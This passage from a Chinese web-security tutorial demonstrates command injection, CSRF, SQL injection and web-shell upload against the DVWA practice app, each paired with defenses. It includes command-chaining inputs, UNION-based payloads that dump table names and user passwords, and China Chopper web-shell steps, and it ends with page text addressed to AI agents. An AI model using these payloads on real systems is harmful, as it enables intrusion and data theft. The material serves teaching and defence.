";
```
此时可构造恶意输入值如下：
baidu.com && whoami baidu.com && cd ../ && pwd baidu.com && cd ../ && ls
实际破坏中原不仅仅是 'ls' 这种无害的命令。 **防范**
```
1.对Shell命令中的特殊符号进行替换，如'&'，'|'，';','||'等。
2.对于确定的输入，比如IP，明确限制输入值格式。
3.服务器权限设置。
```
## 6. CSRF 跨站请求伪造
**流程图** 摘自网上
**攻击流程**：
```
1. 用户在A网站登录，登录成功保存cookie在浏览器。
2. A网站有个接口为 A.com/del/postid，可以删除 id 为postid的文章。
3. B.com首页 HTML中有 代码，访问B网站即发送请求。
4. 黑客将B.com链接发送给已在A网站登录的用户，欺骗用户点击访问B网站。
5. 访问B网站时，请求图片URL, 即浏览器携带用户cookie，去请求A网站，A网站校验cookie通过，执行请求删除id为3的文章。这一切都在用户不知情的情况下发生。
```
**攻击关键** 用户在A网站登录的cookie依旧存在于本地，且访问B网站时，如果B网站中存在请求A.com的接口，请求时会将本地cookie带上，这样后端如果仅仅以cookie判断该请求是否由用户授权发出，显然是不行的。
**防范**\
1\. token方法
> 服务端预先生成一个随机数，在渲染具有表单的页面时将随机数以不可见的形式( visible:hidden )插入到表单域，客户端请求时带上这个随机数，服务端进行校验，确定请求确实来自该页面。 对于B网站，即使请求会带上cookie，也由于获取不到该随机数（该随机数每次刷新页面都不一致），导致后端校验失败。
1. 双重 cookie 验证
> 服务端给 A 网站前端页面设置一个 cookie，页面中所有的请求，都要求在请求 body 或 header 中添加该 cookie 参数(可以通过封装统一的 ajax 请求方法)，请求到了服务端，服务端校验请求携带的 cookie，和请求 body 或 header 中的 cookie 是否一致，一致则请求通过。 对于 B 网站，即使在 B 网站请求 A 网站，会带上 A 网站的 cookie，但是 B 网站的请求 body 或 header 中没有 cookie 的值 (B 网站中获取不到 A 网站 cookie 具体的值)，那么请求也会失败。
优缺点：双重 cookie 验证，相比于 token 的方法，优点是实施成本更低，不用每个页面都添加 token，而是采用 cookie 的机制，所有请求可以借助统一的 ajax 逻辑。缺点是依赖于 cookie 不可知， 如果已经被 xss 攻击获取了 cookie， 则该方法无效。
[参考 egg.js 的做法](https://eggjs.org/zh-cn/core/security.html)
## 7. SQL注入
假如网站后端代码如下：
```
$id = $_REQUEST[ 'id' ];
"SELECT first_name, last_name FROM users WHERE user_id = '$id';";
```
即 将获得id参数值，组合成SQL语句进行查询，那么就存在SQL注入的风险。
1. 攻击者通过将 id 参数设置为 1'or'1'='1 。'或' 语法使得 WHERE 条件一直成立，结果能查询出users表的所有数据。
2. id 设置为 1' order by n # ，要求结果以表的第n个字段排序，则当n = 1,2,3...依次执行，出现报错时假设n=5，即说明该表只有4个字段。
3. 通过以下 sql 能挖掘出更多的数据库信息。
\`\`\`\`
查询数据库用户，版本信息:
1' union select 1,concat(database(),version(),user()) #
查询所有数据库名字: 1' union select 1,schema\_name from information\_schema.schemata #
查询数据库的表名，0x64767761十六进制转字符为 dvwa: ' union select 1,table\_name from information\_schema.tables where table\_schema=0x64767761 #
查询表的字段，0x7573657273十六进制转字符为 users: ' union select 1,column\_name from information\_schema.columns where table\_name=0x7573657273 #
查看表的内容: ' union select user,password from users #
```
**防范**
```
1. 通过 mysql\_real\_escape\_string， 转义sql语句中的特殊字符。
2. 限制数据库用户操作权限。
\`\`\`\`
## 8. 文件上传
漏洞利用的三个**重要条件**：
```
1.可以上传木马文件。
2.文件能被执行。
3.上传文件的路径可知。
```
**利用步骤** 1. A网站允许上传任意文件，则构建如下**一句话脚本**，保存为 hack.php 上传到A网站。注意 apple 字符串，该字符串可任意设置。
```php
```
1. 假设已知A网站上传的文件都在/uploads/目录下，可通过A.com/uploads/hack.php访问该文件。
2. 打开 **中国菜刀** 软件，该软件被安全软件报病毒，谨慎使用。
3. 右键添加SHELL，填写 A.com/uploads/hack.php 及 apple 字符串(与hack.php保持一致)，点击添加。如下图：
1. 如果请求成功，则可以读取服务器任意文件,以及运行虚拟终端。如下图：
## 9. 写在最后
此时分享参考大量网上博客，在此过程中也是收获很多，基于DVWA工具对Web安全有了更多的认识。介于篇幅并未将所有运行结果截图上传，有兴趣者可自行下载dvwa进行测试。若此分享有知识错误欢迎指正，另附上部分参考资料。
1. [从零开始学web安全系列](http://imweb.io/topic/568958714c44bcc56092e409)
2. [Session原理](http://www.cnblogs.com/wangtao_20/archive/2011/02/16/1955659.html)
3. [多服务器session共享](https://www.cnblogs.com/wangtao_20/p/3395518.html)
4. [前端安全系列（二）：如何防止CSRF攻击？](https://tech.meituan.com/2018/10/11/fe-security-csrf.html)
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://yes-1-am.gitbook.io/blog/web-kai-fa-guo-wang-gong-zuo-chen-dian/web-an-quan-dvwa.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.